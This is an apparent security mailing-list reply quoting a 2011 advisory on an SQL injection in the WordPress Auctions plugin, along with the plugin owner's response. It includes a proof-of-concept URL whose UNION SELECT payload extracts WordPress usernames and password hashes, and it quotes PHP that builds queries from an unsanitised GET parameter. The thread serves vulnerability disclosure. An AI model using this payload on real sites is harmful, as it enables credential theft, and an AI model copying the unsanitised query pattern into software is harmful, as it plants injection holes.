Re: WordPress Auctions plugin <= 1.8.8 SQL Injection Vulnerability

[Henri Salo <henri () nerv fi>]

On Wed, Sep 14, 2011 at 04:06:26PM -0300, Heyder[AlligatorTeam] wrote:
> # Exploit Title: WordPress Auctions plugin <= 1.8.8 SQL Injection
> Vulnerability
> # Date: 2011-09-09
> # Author: sherl0ck_ <sherl0ck_[at]alligatorteam[dot]org>
> @AlligatorTeam
> # Software Link: http://downloads.wordpress.org/plugin/wp-auctions.zip
> # Version: 1.8.8 (tested)
>
> ---------------
> PoC
> ---------------
>
> URL:
> http://localhost/wordpress/wp-admin/admin.php?page=wp-auctions-add&wpa_action=edit&wpa_id=-1+union+all+select+1,2,3,USER(),concat(user_login,char(58),user_pass),DATABASE(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+wp_users&_wpnonce=e04f105b8e
>
> ---------------
> Vulnerable code
> ---------------
> ...
> elseif($_GET["wpa_action"] == "edit"):
>     $strSQL = "SELECT * FROM ".$table_name." WHERE id=".$_GET["wpa_id"];
> ...
> elseif($_GET["wpa_action"] == "relist"):
>     $strSQL = "SELECT * FROM ".$table_name." WHERE id=".$_GET["wpa_id"];
> ...
> $resultList = $wpdb->get_row($strSQL);
> ...

Module owner replied:

"Thanks for raising this with us. The report is right in pointing out that those parameters aren't sanitised (which we 
will address immediately). It's work pointing out though, that this is an administration module (protected by 
WordPress's user permissions); rather than one that can be access anonymously."

Follow-up: http://wordpress.org/support/topic/plugin-wp-auctions-wordpress-auctions-plugin?replies=3#post-2341622

Best regards,
Henri Salo

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